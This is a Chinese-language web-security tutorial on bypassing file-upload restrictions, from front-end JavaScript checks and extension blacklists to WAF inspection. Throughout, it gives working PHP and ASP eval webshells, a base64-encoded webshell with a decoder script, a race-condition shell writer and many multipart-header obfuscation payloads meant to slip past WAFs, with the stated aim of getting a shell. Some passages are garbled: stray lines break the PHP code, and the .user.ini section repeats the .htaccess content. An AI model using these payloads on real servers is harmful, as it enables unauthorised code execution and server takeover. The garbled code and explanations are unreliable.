文件上传绕过
分为两种,一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更精准的选择上传绕过方式。
(本篇都使用php一句话木马作为示例)
前端JS限制文件后缀
前端一般都是使用js来限制我们的上传类型和文件大小,这里以upload-labs Pass-01的源码为例:
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
对于前端的检测我们可以抓包来修改文件类型,也可以禁用掉JavaScript。总之,只有前端的限制是非常不安全的,非常容易被绕过。
限制只能上传规定后缀文件,绕过方式:
1.禁用检测文件后缀的JS代码
2.上传正常格式文件,抓包修改文件的filename为脚本格式
Content-type限制
后端代码大致为:
<?php
$allow_content_type = array("image/gif", "image/png", "image/jpeg");
$path = "./uploads";
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
die("File type error!<br>");
} else {
$file = $path . '/' . $_FILES["myfile"]["name"];
if (move_uploaded_file($_FILES["myfile"]["tmp_name"], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
$type = $_FILES["myfile"]["type"];
1.上传时抓包修改Content-type
2.上传正常格式文件,抓包修改文件的filename为脚本格式
文件后缀黑名单检测限制
后端代码大致为:
<?php
// 实际情况中黑名单内数据会更多更全面
$blacklist = array('php', 'asp', 'aspx', 'jsp');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));
if (in_array(strtolower($type), $blacklist)) {
die("File type errer!<br>");
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
$type = array_pop(explode('.', $_FILES['myfile']['name']));
2.“. ”“_”号和空格绕过,(只适用于Windows系统)Windows系统下,文件名后缀最后一个“.”“_”和空格会被自动去除,例如黑名单为.php,那么可以上传.php.,.php_或者.php 来绕过黑名单,Windows在解析时会删除最后一个.和_还有空格
3.::$DATA绕过,(只适用于Windows系统)在Windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名
4.双写绕过,有些函数会替换敏感文件名,但不递归删除的话就可以双写绕过,例如a.phphpp,php被替换为空后就成了a.php
5.00截断绕过,上传时上传a.php.jpg,抓包在php后添加一个字符修改其HEX值为00,这样解析之后就是a.php了,也绕过了黑名单;
常见于ASP程序,JSP也会出现
PHP限制条件:
php<5.3.4
php.ini中的magic_quotes_gpc设置为OFF
6.上传可解析的扩展文件名,例如:
asp/aspx:
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php :
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp :
jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
可利用burp fuzz测试
7..htaccess和.user.ini绕过黑名单
.htaccess使用条件:
.htaccess只适用apache
①、Allow Override All
②、LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态
.htaccess内容:
AddType application/x-httpd-php .jpg
将所有后缀为.jpg的文件作为php文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
</FilesMatch>
将所有文件名包含BaiZe的文件作为php文件解析
.user.ini使用条件:
AddType application/x-httpd-php .jpg
将所有后缀为.jpg的文件作为php文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
将所有文件名包含BaiZe的文件作为php文件解析
文件头限制
后端代码大致为:
<?php
$allow_mime = array("image/gif", "image/png", "image/jpeg");
$imageinfo = getimagesize($_FILES["myfile"]["tmp_name"]);
$path = "./uploads";
if (!in_array($imageinfo['mime'], $allow_mime)) {
die("File type error!<br>");
} else {
$file = $path . '/' . $_FILES["myfile"]["name"];
if (move_uploaded_file($_FILES["myfile"]["tmp_name"], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
文件头检测,上传图片马,在修改后缀为可解析脚本语言;或者上传一句话木马在文件中添加正常格式文件头例如:GIF89a
危险函数检测
一般为waf对上传文件的内容进行检测
1.使用动态调用绕过,例如:
<?php $_GET['0']($_GET['1']);?>
此方法不能绕过disable_function
2.上传编码后的webshell配合.htaccess来解析
3.上传编码后的webshell,再另外上传一个脚本文件解码webshell并写入新文件,例如下面这段代码为1.php
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
上传后再上传下面为2.php
<?php
$path ="/xx/xxx/xx/1.php";
$str= file_get_contents($path);
$strs = base64_decode($str);
$test = fopen("./test.php","w");test
test
fwrite($test,$strs);
fclose($test);
?>
然后访问后再访问test.php即可getshell
WAF拦截绕过
常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以。
例如00截断,文件名+;号,文件名+'号,上传hatccess和user.ini,上面概述过的这里不再重复,使用时应配合使用
1.换行绕过检测,例如
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Disposition: form-data; name="file"; file
name="1.php"
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可
2.多个等号绕过检测,例如
Content-Disposition: form-data; name="file"; filename==="a.php"
3.增大文件大小,类似于sql注入的垃圾字符绕waf,例如
Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"
4.去掉或替换引号绕过waf
Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"
4.增加filename干扰拦截,例如
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
5.混淆waf匹配字段,例如
混淆form-data
Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+
混淆ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
6.双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。
7.容器与WAF对Boundary要求规则不一致
Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99 Content-Length: 253 -----------------------------471****1141173****525****99 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------471****1141173****525****99--
一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。
8.条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');